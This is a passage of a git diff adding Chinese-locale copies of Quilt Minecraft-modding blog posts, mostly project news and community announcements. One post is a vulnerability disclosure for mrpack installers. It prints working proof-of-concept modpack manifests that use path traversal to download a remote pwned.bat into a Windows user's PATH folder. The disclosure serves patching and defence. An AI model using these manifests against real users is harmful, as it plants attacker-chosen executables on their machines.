`org.quiltmc.qsl.core:resource-loader:1.0.0-SNAPSHOT`. + +QSL is seeing new additions on top of the reorganization into modules. + +## Quilt Mod JSON + +The Quilt Mod JSON has now been mostly implemented. The design of this is outlined in [RFC-2](https://github.com/QuiltMC/rfcs/blob/master/specification/0002-quilt.mod.json.md). + +The majority of the work left is smooth out issues in the loader. + +## QuiltFlower + +QuiltFlower (Quilt's Fork/Maintained version of FernFlower/ForgeFlower) has seen some smaller changes. + +These changes should make de-complied code more readable. An example of this can be seen in the following images: + +**Output produced by FabricFlower** +![Output Produced by Fabric Flower](https://i.imgur.com/M81I32X.png) + +**Same output, produced using QuiltFlower** +![Same output produced by Quilt Flower](https://i.imgur.com/1ICd4Nb.png) + +## New Moderators + +Quilt's community spaces are always looking for new moderators. If you think you'd be a good fit and like to be involved, you can submit an application via ModMail. + +Some key documents to be aware of **before** applying: + +- [The Quilt Code of Conduct](https://quiltmc.org/community/code-of-conduct.html) +- [Quilt's Rules](https://quiltmc.org/community/rules.html) +- [Our Moderation Ethos](https://quiltmc.org/community/moderation.html) +- [RFC-7 (The Community Team Structure)](https://github.com/QuiltMC/rfcs/blob/master/structure/0007-community-team.md) + +If the qualities outlined in the above documents, seem like you... please step forward and apply. The interview process will follow the steps outlined in RFC-7 (TL;DR): + +- Apply Via ModMail +- Interview with a Community Manager (and the wider Community Team) +- Community team holds a vote based on the interview +- Result of the vote given to interviewee, and if successful the applicant will become a Trainee Moderator + +## Modding with Quilt & Fabric + +### Can I mod with Quilt at the moment? + +It is currently not possible to mod with the Quilt framework. + +However, progress has been made. We are currently waiting on a Gradle Plugin. + +**We are looking for contributors.** If you would like to help out with this part of the project, please reach out in [#build-tools-general](https://canary.discord.com/channels/833872081585700874/884090296068091965/885866814410723358) and express interest. A member of the relevant team will reach out. + +### Are things still compatible with Fabric? + +Things are largely compatible with loading mods. + +Mixin Plugins may not be possible to maintain compatibility. We may consider contributing to some mods that use them, to aid in replacing them. + +## Round-off + +That is all for now! When there are more things to talk about, they will be published here; for more bleeding edge changes and updates on the project, follow along on our [Discords](https://discord.quiltmc.org). + +Thank-you to the Quilt Project's team for helping flesh this out; it would have otherwise been just an update on moderators. diff --git a/src/pages/zh/blog/2021-11-10-quilt-oct-update.md b/src/pages/zh/blog/2021-11-10-quilt-oct-update.md new file mode 100644 index 000000000..04fc803e6 --- /dev/null +++ b/src/pages/zh/blog/2021-11-10-quilt-oct-update.md @@ -0,0 +1,79 @@ +--- +title: "Quilt's (VERY LATE) October Update" +date: 2021-11-10 14:00:00 -00:00 +authors: + - ToffeeMax +layout: /src/layouts/Post.astro +--- + +It is now _well_ past the End of October and closer to Halloween then I'd like to admit. Here is some of the more fleshed out updates about the Quilt Project: + + + +## Quilt Mappings are now usable in Loom! + +Have you wanted to use mappings other than Yarn or MojMap? + +Quilt Mappings is a Yarn derivative that allows inspiration from MojMap. This allows for Quilt Mappings to map the obscure constants in Minecraft code and more. + +However, this can mean that Quilt Mappings maybe be different from Yarn. + +[The provided gradle plugin](https://github.com/OroArmor/quilt-mappings-on-loom) allows Quilt Mappings to be used in Loom and Fabric environments. Currently, it is 1.17.1+ only; with no plans of backporting to earlier versions. + +Benefits of Quilt Mappings: + +1. Faster turn around. + - For the past couple weeks, Quilt Mappings has been out before intermediary. While this doesn't help too much in loom, it is something to look forward to in the future. +2. Consistent names. + - Quilt Mapping names are never mismatched, meaning you won't find issues where names swap between versions. +3. Familiarity of Yarn with the completeness of MojMap. + - While not complete, Quilt Mappings has the goal of 100% mapping coverage for Minecraft. Any help toward this goal would be appreciated as well! + +### How to use Quilt Mapping (Gradle Plugin) + +How to use Quilt Mappings: + +#### settings.gradle + +```groovy +pluginManagement { + repositories { + maven { url = "https://maven.oroarmor.com" } + } +} +``` + +#### build.gradle + +```groovy +plugins { + // ... + id "quilt-mappings-on-loom" version "2.0.0" +} + +// ... + +dependencies { + mappings(loom.layered { + addLayer(quiltmappings.mappings("org.quiltmc:quilt-mappings:${minecraft_version}+build.${project.quilt_mappings}:v2", true)) + }) +} +``` + +## New Moderators + +Quilt's community spaces are always looking for new moderators. If you think you'd be a good fit and like to be involved, you can submit an application via ModMail. + +Some key documents to be aware of **before** applying: + +- [The Quilt Code of Conduct](https://quiltmc.org/community/code-of-conduct.html) +- [Quilt's Rules](https://quiltmc.org/community/rules.html) +- [Our Moderation Ethos](https://quiltmc.org/community/moderation.html) +- [RFC-7 (The Community Team Structure)](https://github.com/QuiltMC/rfcs/blob/master/structure/0007-community-team.md) + +If the qualities outlined in the above documents, seem like you... please step forward and apply. The interview proccess will follow the steps outlined in RFC-7 (TL;DR): + +- Apply Via ModMail +- Interview with a Community Manager (and the wider Community Team) +- Community team holds a vote based on the interview +- Result of the vote given to interviewee, and if successful the applicant will become a Trainee Moderator diff --git a/src/pages/zh/blog/2022-03-22-quilt-enters-beta.md b/src/pages/zh/blog/2022-03-22-quilt-enters-beta.md new file mode 100644 index 000000000..3ee0854a7 --- /dev/null +++ b/src/pages/zh/blog/2022-03-22-quilt-enters-beta.md @@ -0,0 +1,56 @@ +--- +title: Quilt enters Beta +date: 2022-03-22 5:30:00 -00:00 +authors: + - Southpaw1496 +layout: /src/layouts/Post.astro +--- + +In February's final bi-weekly developer meeting (which you can listen to [as a podcast](https://anchor.fm/quiltmc-dev-meetings)), an exciting announcement was made: **Quilt is releasing its first beta on April 20th, 2022**. + + + +It's a huge milestone in our development process, and we could never have done it without our [incredible teams](https://quiltmc.org/about/teams) and supporting community. + +It is important to remember that this is a **beta**, not a full release. Beta software is intended for testing, ironing out issues and having space to develop features ahead of a full release. This means that a beta release will have some features missing, and may be unstable. + +## Instability + +Beta software is inherently unstable. This means that there could be a lot of bugs and crashes, but it also means that _anything could change at any time, with no regard for compatibility between one version and the next._ + +It may be frustrating, but trying different approaches and iterating is an essential part of our development, and during this pre-release stage it is essential to not be held back by backwards compatibility. + +## Missing Features + +Beta software is also generally missing features that will be included in the full release, and Quilt is no exception. All our projects are at a stage where we feel that they are usable, but most of them are still missing features that will be included in the final release. Namely: + +- Mods will be built using a fork of Fabric's Loom with Intermediary, instead of Quilt-Gradle with Hashed MojMap. +- The Chasm bytecode transformer is not yet ready for use and will not be available. +- Loader plugins will not exist. +- QSL (Quilt Standard Libraries) will not be automatically downloaded as a dependency. +- Many QSL Modules will not be available to use. + +## Why we're releasing now + +To address the elephant in the room, we're not releasing Quilt on 4/20 for the memes. April 20th is actually the one-year anniversary of the Community Discord server, a very significant event in Quilt's history. Besides this, we're releasing our tools in an unfinished state for two reasons: + +- Quilt is relatively unknown outside its community, and we hope that by showing that Quilt is more than just an idea, the project will gain some traction, and start being taken more seriously by people in the modding sphere. +- Both our developers and our (future) users are very important to us, and we want your feedback and ideas on how to improve what we've made, while we still have the flexibility of being in the development stage to change and break things, without having to worry about backwards compatibility. + +## Stay in the Know + +While we are currently confident that we can make the April 20th target, the truth is that software development is often unpredictable, and estimates aren't always representative of when a target is met. If you want to stay up-to-date with developments, we recommend joining our [Community Discord Server](https://discord.quiltmc.org), and/or [following us on Twitter](https://twitter.com/Quilt_MC). + +You can even [subscribe to this blog via RSS](https://quiltmc.org/feed.xml) and get updates delivered straight to your RSS reader of choice. + +We also hold a Public Developer Meeting on the [Toolchain Discord Server](https://discord.quiltmc.org/toolchain) every second Saturday at 5PM UTC, where the teams get together and discuss the progress made on their respective projects, and also answer questions from the community. Even though it's called a Developer meeting, anyone interested in Quilt's future development is welcome. + +## Get Involved + +If you want to get involved, we could always use some extra help. A list of current openings for positions on our various teams can be found on the [Openings page](https://quiltmc.org/openings), but if none of them speak to you, or if you want to contribute without joining a team, the best thing to do is to join the [Toolchain Discord Server](https://discord.quiltmc.org/toolchain) and offer your expertise. + +## Conclusion + +We'd like to thank everyone who has come with us on the journey so far, including our developers and our wonderful community. This is Quilt's biggest step since we ran out of GitHub Actions minutes and had to go public, and we never could've done it without all of you. + +Quilt is closer than ever, and we can't wait. diff --git a/src/pages/zh/blog/2022-03-29-introducing-blanketcon.md b/src/pages/zh/blog/2022-03-29-introducing-blanketcon.md new file mode 100644 index 000000000..0e29afcb0 --- /dev/null +++ b/src/pages/zh/blog/2022-03-29-introducing-blanketcon.md @@ -0,0 +1,17 @@ +--- +title: Introducing BlanketCon! +date: 2022-03-29 7:00:00 -00:00 +authors: + - LemmaEOF +layout: /src/layouts/Post.astro +--- + +Heya! Lemma here to announce a big project we've been working on for a while now! From May 6th to May 7th this year, ModFest and Quilt are proud to be hosting **BlanketCon**, an in-game Minecraft modding convention powered by Quilt Loader! We'll be making a custom world where you can check out old favorites and newcomers alike! Come talk to devs and attend panels, keynotes, and more! + + + +If you're a Minecraft mod developer, **we want you here at BlanketCon**! Submit whatever mods you'd like to feature in the con; size or poularity doesn't matter! The server will be running on the Quilt Loader beta, with support for both Fabric and Quilt mods, but if you develop for Forge, Sponge, Paper, or any other modding framework, you're still more than welcome to hold an event - despite being Quilt-run, we want this to be a celebration of Minecraft modding as a whole! You can apply to host a booth or an at-con event at [https://blanketcon.modfest.net/signup/](https://blanketcon.modfest.net/signup)! + +The con server will open on May 5th at 6 PM UTC, with the opening ceremony beginning an hour later! You can see the full schedule as it's created, as well as all confirmed booths on the BlanketCon site at [blanketcon.modfest.net](https://blanketcon.modfest.net)! + +If you have any questions, please don't hesitate to ask in the [ModFest](https://discord.gg/gn543Ee) or [Quilt](https://discord.quiltmc.org) discords! I hope to see you all there! diff --git a/src/pages/zh/blog/2022-05-07-announcing-quilt-forum.md b/src/pages/zh/blog/2022-05-07-announcing-quilt-forum.md new file mode 100644 index 000000000..6fd146308 --- /dev/null +++ b/src/pages/zh/blog/2022-05-07-announcing-quilt-forum.md @@ -0,0 +1,37 @@ +--- +title: Announcing the Quilt Forum +date: 2022-05-07 4:30:00 -00:00 +authors: + - Southpaw1496 +layout: /src/layouts/Post.astro +--- + +Hey everyone! I and the rest of the Community Team are excited to announce the final result of just over six months of planning, development, and a not insignificant amount of DevOps headaches. Namely, Quilt's new community space, **the official Quilt Forum**. The forum is being hosted and kindly sponsored by Starchild and their upcoming startup, Starchild Systems. + + + +You may have some questions about why we've launched a forum, and what will happen to our existing Discord spaces, but before we answer those, let's get one universal question out the way: + +## Where do I sign up? + +The forum is live now at [https://forum.quiltmc.org](https://forum.quiltmc.org), and you can sign up with a standard email and password, or using GitHub or Discord OAuth. Please make sure to read our [Privacy Policy](https://forum.quiltmc.org/privacy) if you have questions or concerns about how your data is handled and managed. + +With that out of the way, let's address some other common questions. + +## Why do we need a forum? + +Currently, our primary community space is the official [Quilt Community Discord](https://discord.quiltmc.org), and while it is very good for short-form discussions and has served us well, a forum provides two distinct advantages over Discord: **Openness**, and **Control**. + +### Openness + +One major problem with Discord is that it is a closed platform. To read the announcements and discussions we have in the Discord, you need to have a Discord account, and you need to explicitly join the server. This creates a barrier to entry for those wishing to learn more about Quilt and see what we're doing beyond what's on the website, which many people won't bother to pass. With a forum, while you still need an account to participate in discussion, if you're just looking, you can just visit it. There's no form to fill out, no password to create. A forum will also be indexed by search engines, meaning that any discussions or support requests can easily be found by future modders with a quick search query. + +### Control + +The other major advantage that a forum has over Discord is that it is fully owned and operated by us. Currently, if Discord goes down, we'd all be completely unable to communicate, but having a forum provides a backup place to use if this happens (and it works the other way around too). As well as this, Discord might someday change in a way that make it unsuitable for us to use, or it could even go out of business entirely, but a forum that is controlled by Quilt will exist as long as Quilt does. Even if Starchild Systems becomes unable to sponsor or host us in the future, we'll still be able to pack the forum up and move it elsewhere, while still preserving its community and discussion history. + +## What will happen to Discord? + +Not all that much. We'll link up some channels to feeds from the forum so that you can keep track of what's happening over there, but we have no plans to replace or otherwise deprecate Discord in favour of a forum. Discord is great for hanging out and having easy, short-form discussions, and it's still our main community space, something which we don't expect will change any time soon. Our Discord spaces will remain the active and cared-for places they are today, but the forum will also be available for those who prefer to use it. + +So what are you waiting for? Head over to [https://forum.quiltmc.org](https://forum.quiltmc.org) and join in the fun! Unless you don't want to, I suppose? diff --git a/src/pages/zh/blog/2022-10-02-october-month-of-the-toberfests.md b/src/pages/zh/blog/2022-10-02-october-month-of-the-toberfests.md new file mode 100644 index 000000000..7dfa59da9 --- /dev/null +++ b/src/pages/zh/blog/2022-10-02-october-month-of-the-toberfests.md @@ -0,0 +1,29 @@ +--- +title: "October: Month of the 'toberfests" +date: 2022-10-02 19:20:00 -00:00 +authors: + - Southpaw1496 +layout: /src/layouts/Post.astro +--- + +October is most well known as a month of spookiness, of sugary treats, and of pumpkins (Pineapples, excuse me). But for developers, October is also a month of what I like to call "'toberfests", and today we're excited to announce that Quilt will be participating in two of them: Hacktoberfest and Modtoberfest. + + + +## But what **are** 'toberfests? +Aside from the German beer festival Oktoberfest, the original and most famous 'toberfest is [Hacktoberfest](https://hacktoberfest.com). Began by Digital Ocean in 2013, Hacktoberfest is, at it's core, a challenge: during the month of October, you must contribute to four participating open-source projects, and the first 40,000 to complete the challenge get a choice of either a t-shirt or a tree planted in your name. + +Inspired by Hacktoberfest, several other groups have held smaller challenges, usually focused on a specific type of project. One of these, which this year Quilt is proud to be sponsoring, is [Modtoberfest](https://modtoberfest.com/), which focuses on contributions to the Minecraft community. While the prizes might not get you the street cred of a Hacktoberfest t-shirt, a tree will be planted for every accepted pull request, and if you submit four accepted pull requests, you will receive a sticker pack containing, among other things, something that no-one else will have: the world's **first** tangible Pineapple. Behold it in all its fruity glory! + +![A Pineapple sticker in a dark background](/assets/img/writing/blog/2022-10-02-october-month-of-the-toberfests/toberfest-blog-1.jpeg) + +You also get a Quilt logo sticker, a Modfest sticker, a BlanketCon 2022 and some others, to complete the collection. + +![Four piles of stickers arranged in a 2x2 grid. From left to right: Quilt logo, Pineapple, Modfest logo, BlanketCon 2022 logo](/assets/img/writing/blog/2022-10-02-october-month-of-the-toberfests/toberfest-blog-2.jpeg) + +## How do I start? +You can start by going to [https://hacktoberfest.com](https://hacktoberfest.com) and/or [https://modtoberfest.com/](https://modtoberfest.com/) and signing up. From there, all you need to do is find a participating project, see what you can contribute, and start coding! + +We have a full page with [guidelines for making contributions to Quilt specifically](https://quiltmc.org/en/toberfests), but a word of advice: maintainers of the projects you contribute to have to officially accept the pull requests that you open in order for it to contribute to your total, and most of them will only accept ones that are high-quality and show effort put in for its own sake, not tiny changes that are clearly made in pursuit of a t-shirt (or the opportunity to be able to hold a Pineapple in one's hands): your contributions should be made with love and genuinely benefit the project that you're submitting to. Make sure to discuss any changes you want to make with the project's maintainers before contributing, and make sure to follow the project's contribution guidelines from the start to minimize their workload in the review phase, and maximize your chances of getting accepted. + +Happy hacking! \ No newline at end of file diff --git a/src/pages/zh/blog/2022-11-27-adding-cloudflare-analytics.md b/src/pages/zh/blog/2022-11-27-adding-cloudflare-analytics.md new file mode 100644 index 000000000..25e6d2d44 --- /dev/null +++ b/src/pages/zh/blog/2022-11-27-adding-cloudflare-analytics.md @@ -0,0 +1,56 @@ +--- +title: "Adding Cloudflare Web Analytics to quiltmc.org" +date: 2022-11-26 23:45:00 -00:00 +authors: + - Southpaw1496 +layout: /src/layouts/Post.astro +--- +Today, we're adding the Cloudflare Web Analytics to quiltmc.org. We know that analytics tools have a reputation of being both greedy and careless with user data, and that some people might feel that we're putting meaningless numbers before their privacy, which, given the general perception of web analytics, is not an unfair assumption. However, we have put thought and care into the decision, and so this article explains what data is collected, how we could use it, and how we collect it without impacting your privacy. + + + +#### Contents: +- [Contents:](#contents) +- [Analytics and Privacy](#analytics-and-privacy) +- [What Data Is Collected](#what-data-is-collected) +- [How We Could Use the Data](#how-we-could-use-the-data) +- [Why Cloudflare?](#why-cloudflare) + + +## Analytics and Privacy +Analytics tools are not exactly known for their focus on user privacy. This is because the most well-known analytics tools are run by advertising companies, most notably Google Analytics, [which has an 85% market share in the analytics business, and is installed on over 55% of all websites](https://w3techs.com/technologies/overview/traffic_analysis). As well as collecting analytics for the website owner to use, these tools use various technologies (like cookies or local browser storage) to associate users with a central identity. Then, when a user visits a website, they log that user as having visited it to a central database. + +While knowing that a user visited a single website isn't very useful, if an analytics tool is installed on lots of websites (like how Google Analytics is on 55% of the web), it can get pretty accurate data of what websites a person is visiting and what they're doing there, which can then be used to target ads to them. The website owner essentially makes a deal with the analytics tool vendor: The vendor will provide collect and store the analytics data for free, and in return, they get to watch every user visiting your site, and use the data for whatever they want. This is a great deal for both the vendor and the website operator, but not so much for the website's users, and as a community-focused product, a deal that benefits us but hurts our users is not one that Quilt is willing to make. Fortunately, there is a better way. + +In more recent years, spurred on by the advent of the GDPR and similar privacy laws, many companies have developed more privacy-focused analytics products, one of which is Cloudflare Web Analytics. While there are many similar products available, we'll be talking about it specifically, since it's what we're using for quiltmc.org. Critically,[ it doesn't use cookies, local storage, fingerprinting, or any other technologies to associate you with an identity](https://www.cloudflare.com/en-gb/web-analytics/), which means **it cannot track you around the web**. This means we won't need to ask you to consent to cookies when you visit our site (even though it would be a great opportunity to make a drawing of Cozy nomming a cookie), because we still don't use any. + +## What Data Is Collected +The following list are the main things tracked by Cloudflare Web Analytics. It's important to remember that because Cloudflare doesn't log your IP address or use any other fingerprinting technologies, it's impossible to associate any of this data with any specific person or group. If we looked at site visitor metrics, for example, we wouldn't be able to see who those visitors were, or what each one of them did; only that some people visited some pages, and some people visited others. + +Cloudflare Web Analytics collects: +- **Visits:** When someone visits a page from an external or direct link, rather than an internal link in another part of the website. +- **Page Views:** When someone successfully loads an HTML page on the website. +- **[Core Web Vitals](https://www.cloudflare.com/en-gb/learning/performance/what-are-core-web-vitals/):** Performance metrics reported by most Chromium-based browsers and used in Google's search rank algorithms +- **Country:** What country someone visits from, based on their IP address. +- **Referrer:** What website a person came from. +- **Device Type:** The type of device a person visited with: desktop, mobile, or tablet. +- **Browser:** The browser a person used when they visited. +- **Operating System**: What operating system the person used when they visited. +- **Page Load Time**: How long each stage of page loading took. + +Additionally, Cloudflare Web Analytics [is fully GDPR-compliant](https://www.cloudflare.com/en-gb/gdpr/introduction/) and doesn't collect any information classed as Personally Identifiable Information (PII). + +## How We Could Use the Data +Even though Cloudflare Web Analytics doesn't come with any privacy concerns, it does add complexity to the website that wouldn't be worth it if we just used the data it provides to make pretty graphs. However, there are real ways that we can use it to make the website better for the increasing number of people that visit it every day. Here are some examples: +- The data about what countries our visitors are from will help us know which languages to prioritize for localization. +- If we notice that a lot of visitors are coming from a particular social media post, video, or blog article, we can show it to the rest of our users as a way of saying thank you. +- If we notice people with certain device types, operating systems, or browsers are having bad experiences (for example, slow page loads), we can look into optimizing the website for them so that they have a better experience. +- If our Core Web Vital statistics are low for a large number of users, we can work on improving them to improve our SEO, since they are part of Google's search ranking algorithm. +- If a page is loading slowly for a lot of people, we can see exactly which part of the process is getting stuck and fix it, without them having to go through filing a GitHub issue. + +As well as these more practical examples, there is another use for them, which is encouragement. Seeing Quilt's success in numbers, and how it's gradually growing and spreading through the web to more and more places, reminds us that what we're doing is in fact making an impact, even if it sometimes feels like Mojang breaks half our tooling every couple of minor releases. We know that our growth interests our community, too, and while it's not possible to make the analytics completely public, if all goes well we plan to write a series of blog articles every so often about the website's analytics, starting with December's analytics in January. + +## Why Cloudflare? +Cloudflare has attracted a lot of controversy recently, most notably its initial refusal to stop providing service to the harassment forum Kiwi Farms, so it's not unreasonable to wonder why we're choosing to use their offering over one from another company. The reason is that almost all privacy-focused analytics tools are paid, since they can't fund themselves by selling or utilizing the user data they collect, while Cloudflare offers a generous free tier in the hope that you'll soon upgrade or try one of their paid products. There aren't any other really reputable companies offering good free tiers, and the tradeoffs of using Cloudflare do not outweigh the costs that would be incurred from going with someone else. + +I hope that after reading this article, your mind is at rest. As the world becomes increasingly chaotic in many respects, it's easy to think that we're going the same way as everyone else: launching something new without really thinking about it, and hurting our users in the process, but hopefully, you now understand the reasoning behind the decision. If you have any questions, you can visit `#discord-meta` in the [Community Discord Server](https://discord.quiltmc.org), or [the `Meta` section of the forum](https://forum.quiltmc.org/c/quilt/meta/). diff --git a/src/pages/zh/blog/2023-02-04-five-installer-vulnerabilities.md b/src/pages/zh/blog/2023-02-04-five-installer-vulnerabilities.md new file mode 100644 index 000000000..ffbb5da45 --- /dev/null +++ b/src/pages/zh/blog/2023-02-04-five-installer-vulnerabilities.md @@ -0,0 +1,140 @@ +--- +title: "Five vulnerabilities found in mrpack installer implementations" +date: 2023-02-04 17:00:00 -00:00 +authors: + - Ambre Bertucci +layout: /src/layouts/Post.astro +--- + +On Tuesday, 31st January, a member of the Quilt team discovered path traversal vulnerabilities in five different mrpack +implementations, affecting MultiMC, PolyMC, Prism Launcher, ATLauncher and mrpack-install. + +This article serves as a write-up for the vulnerabilities, and the affected versions. + + + +# Affected software + +Below you can find a table detailing the affected and patched versions for each piece of software. + +| Software | Affected versions | Patched versions | +|----------------|-------------------|------------------| +| MultiMC | <= 0.6.16 | >= 0.7.0 | +| PolyMC | <= 1.4.3 | >= 5.0 | +| Prism Launcher | <= 6.1 | >= 6.2 ¹ | +| ATLauncher | <= 3.4.26.0 | >= 3.4.27.0 | +| mrpack-install | <= 0.16.2 | >= 0.16.3 | + +¹: version 6.2 of Prism Launcher contains a critical bug, we recommend installing 6.3. + +We recommend every user to upgrade to a patched version. If you can't, we recommend you to inspect any mrpack before +installation. + +# Vulnerability details + +[mrpack](https://docs.modrinth.com/docs/modpacks/format_definition/) is a modpack format popularized by the [Modrinth®](https://modrinth.com) +mod sharing platform. + +It allows modpack creators to define a [`files`](https://docs.modrinth.com/docs/modpacks/format_definition/#files) array +to download various files, such as mods, during modpack installation. This can be open to path traversals by using +an absolute path (if the implementation allows it) or relative directories (`/../`) to escape the installation +folder and install a file in any directory the process has access to. + +# Attack vector + +While we recognize installing a modpack requires trust into the modpack maker once the modpack is run, we're of the +opinion that installing a modpack shouldn't require trust. One scenario can also be imagined where one would install +a suspicious modpack for checking its content, leading to infection in the process. + +Modrinth® confirmed they have checks in place preventing such a modpack from being installed, although this +vulnerability still affects modpacks installed off-site. + +# Demonstration + +Below you can find some example `modrinth.index.json` files that once put into a mrpack would install a `pwned` binary +inside the user PATH. They assume the relevant tool is installed at the default location, except for `mrpack-install` +which will depend on the execution location. + +## MultiMC, PolyMC, Prism Launcher, mrpack-install + +```json +{ + "formatVersion": 1, + "game": "minecraft", + "versionId": "exploit-demo", + "name": "Exploit demo", + "files": [ + { + "path": "..\\..\\..\\..\\..\\..\\..\\AppData\\Local\\Microsoft\\WindowsApps\\pwned.bat", + "hashes": { + "sha1": "f2f2afa63f7c46d966b460c6efa85505ec8e7d26", + "sha512": "88b0dfed128d1b1dac86ef825fad577bd2fe99d79a8eb73a826a6634e6d2edadfe2fd50aa69b1009c38c7f4d1bbdd7199e2425cf3035515a794646474b3b28e8" + }, + "env": { + "client": "required", + "server": "required" + }, + "downloads": [ + "https://raw.githubusercontent.com/Akarys42/pwned/main/pwned.bat" + ], + "fileSize": 200 + } + ], + "dependencies": { + "minecraft": "1.18.2" + } +} +``` + +## ATLauncher + +```json +{ + "formatVersion": 1, + "game": "minecraft", + "versionId": "exploit-demo", + "name": "Exploit demo", + "files": [ + { + "path": "../../../../Local/Microsoft/WindowsApps/pwned.bat", + "hashes": { + "sha1": "f2f2afa63f7c46d966b460c6efa85505ec8e7d26", + "sha512": "88b0dfed128d1b1dac86ef825fad577bd2fe99d79a8eb73a826a6634e6d2edadfe2fd50aa69b1009c38c7f4d1bbdd7199e2425cf3035515a794646474b3b28e8" + }, + "env": { + "client": "required", + "server": "required" + }, + "downloads": [ + "https://raw.githubusercontent.com/Akarys42/pwned/main/pwned.bat" + ], + "fileSize": 200 + } + ], + "dependencies": { + "minecraft": "1.18.2" + } +} +``` + +# Advisories + +* MultiMC: none +* PolyMC: [GHSA-3rfr-g9g9-7gx2](https://github.com/PolyMC/PolyMC/security/advisories/GHSA-3rfr-g9g9-7gx2) +* Prism Launcher: [GHSA-wxgx-8v36-mj2m](https://github.com/PrismLauncher/PrismLauncher/security/advisories/GHSA-wxgx-8v36-mj2m) +* ATLauncher: [GHSA-7cff-8xv4-mvx6](https://github.com/ATLauncher/ATLauncher/security/advisories/GHSA-7cff-8xv4-mvx6) +* mrpack-install: [GHSA-r887-gfxh-m9rr](https://github.com/nothub/mrpack-install/security/advisories/GHSA-r887-gfxh-m9rr) + +# CVE entries + +* MultiMC: [CVE-2023-25306](https://www.cve.org/CVERecord?id=CVE-2023-25306) +* PolyMC: [CVE-2023-25305](https://www.cve.org/CVERecord?id=CVE-2023-25305) +* Prism Launcher: [CVE-2023-25304](https://www.cve.org/CVERecord?id=CVE-2023-25304) +* ATLauncher: [CVE-2023-25303](https://www.cve.org/CVERecord?id=CVE-2023-25303) +* mrpack-install: [CVE-2023-25307](https://www.cve.org/CVERecord?id=CVE-2023-25307) + +# Credits + +Vulnerability found and blog post written by Ambre Bertucci (Akarys) + +Research inspired by Silver diff --git a/src/pages/zh/blog/2023-02-14-qfapi-call-for-contributors.md b/src/pages/zh/blog/2023-02-14-qfapi-call-for-contributors.md new file mode 100644 index 000000000..d44e3860f --- /dev/null +++ b/src/pages/zh/blog/2023-02-14-qfapi-call-for-contributors.md @@ -0,0 +1,26 @@ +--- +title: "Quilted Fabric API: A call for contributors" +date: 2023-02-14 12:15:00 -00:00 +authors: + - Southpaw1496 +layout: /src/layouts/Post.astro +--- + +[Quilted Fabric API](https://github.com/quiltmc/quilted-fabric-api) is our fork of Fabric API which runs alongside QSL to ensure mods using the Fabric API can work on Quilt. Since almost all Fabric mods make use of the Fabric API in some way or another, it's a critical part of Quilt's compatibility with Fabric mods, but despite this, it is largely updated and maintained by a single person: + + + +![A screenshot of the Quilted Fabric API team on the Teams page, showing Ennui all by herself](/assets/img/writing/blog/2023-02-14-qfapi-call-for-contributors/lonley-ennui.png) + +She could really use some help, so if you are able and have the time to spare, it would be really cool (dare I say, based?) of you to come on down and give her a hand. + +## Do I need to join a team? +Absolutely not! Although contributing is often linked to joining a team, we're actually very happy to accept external contributions as well. You mustn't feel like you need to commit to joining the team before helping, and it's generally better if we get to know you and your contributions a little before accepting you onto a team if you want to be on one eventually. + +## I don't feel like I know enough to contribute... +Quilt is a big project, and you might think that it's deeply complicated and requires expert skill to contribute to, but as long as you have basic Java knowledge and are willing to learn, you can do lots of things that would be a big help to us. The more people that contribute, the faster development will progress, and the more viable it is for other developers to take breaks when they need so that they can keep doing their best work. Your help is valuable, even if you don't consider yourself a skilled programmer. + +## What can I do to help? +We've created [a truckload of GitHub issues](https://github.com/quiltMC/quilted-fabric-api/issues) to get you started, so have a look and find something you think you can do. If you find something you want to take on, make sure to comment on the issue so that others know you're working on it and work doesn't get done twice. If you have any questions or would like to discuss changes that you're planning to make with the developers, come and join us on the [Toolchain Discord](https://discord.quiltmc.org/toolchain). + +Although this post is focused on Quilted Fabric API, we welcome contributions to all our projects, such as [Cozy](https://github.com/quiltmc/cozy-discord), [quiltmc.org](https://github.com/quiltmc/quiltmc.org), and [others](https://github.com/orgs/QuiltMC/repositories). Even if you can't code, you can still help in other ways, for example, by [translating the website into your language](https://github.com/QuiltMC/quiltmc.org/blob/stable/LOCALIZATION.md). Join the [Toolchain Discord](https://discord.quiltmc.org/toolchain) if you're interested! diff --git a/src/pages/zh/blog/2023-04-26-the-statement.md b/src/pages/zh/blog/2023-04-26-the-statement.md new file mode 100644 index 000000000..aa5e90a16 --- /dev/null +++ b/src/pages/zh/blog/2023-04-26-the-statement.md @@ -0,0 +1,519 @@ +--- +title: "The Statement" +date: 2023-04-26 12:00:00 -00:00 +index: false +authors: + - The Quilt Team +layout: /src/layouts/Post.astro +--- + + +# Preface + +On April 20th of 2023, the Keyholder of the Quilt project attempted a hostile takeover of the Community and Toolchain Discord servers, as well as the Quilt Community Collab program (QCC) server. This document serves as a write-up on the events that led to the attempted takeover, the takeover itself, and where we plan to go from here. + +This document _also_ exists to give background on our collaboration status with Forge. A dedicated statement was planned to be released prior to the takeover happening, but given they ended up heavily intertwined, they have both been merged into this one. + +The statement was written by more than 11 authors— please excuse us if you see discrepancies in writing styles. + +# Quilt Community Collab (QCC) + +Quilt Community Collab was created on November 2nd, 2021 as a continuation of a similar project that had been founded on March 1st of the same year. The program exists to provide tooling and a collaborative space for people running Minecraft-related communities to work together on moderation, community management and event planning. + +This collab program is occasionally misunderstood as a sort of "hit squad" attempting to "cancel" Minecraft community members and have them removed from as many servers as possible, largely due to rhetoric pushed by queerphobes, racists and other bigots that have been banned by communities taking part in the program. However, it does nothing of the sort — while communities there do occasionally mention bans that they've made, it primarily exists to support those communities in their community management work, on topics such as intersectionality, policy-writing and structural design. Even though bans can be shared there, other communities are not required to act, instead making their decision based on the provided evidence. + +The program was created by the Quilt Community Team, but it contains members from several other founding communities — one of which was Forge. Everyone involved saw this as a sign of good things to come; Forge has been well-known for its toxic community management practices over the years, and Forge taking part in the program was interpreted as a genuine dedication to solving those issues. This wasn't an entirely incorrect assumption, but only in a broad sense — a lot of the changes were surface-level, and didn't really address many of the deeper, more serious problems, as we'll see later. + +# External users involved + +## Kashike, aka The Keyholder + +Quilt, born from Fabric drama, has done its best to make sure no one person could take control of the server and become a dictator[\[1\]](#ref-1). For this reason, the Quilt initiative members created the role of the Keyholder, someone who is well-known in the Minecraft community while being totally uninvolved in the project. The keyholder was supposed to never intervene in the management of the project[\[2\]](#ref-2). + +Kashike was chosen to be the Quilt Keyholder by the founders of the project due to his involvement in various Minecraft projects, most of the time enacting this same role, or one with the same importance.[\[3\]](#ref-3)[\[4\]](#ref-4) + +IDs: `976461443580985425`, `105923848263753728`,[\[5\]](#ref-5) and `599644584611414033` (selfbot specific account, although his main has also been used to self bot)[\[6\]](#ref-6) + +## LexManos + +LexManos, or Lex for short, was the leader of the Forge project from its conception in 2011, to April 5th, 2023, when he 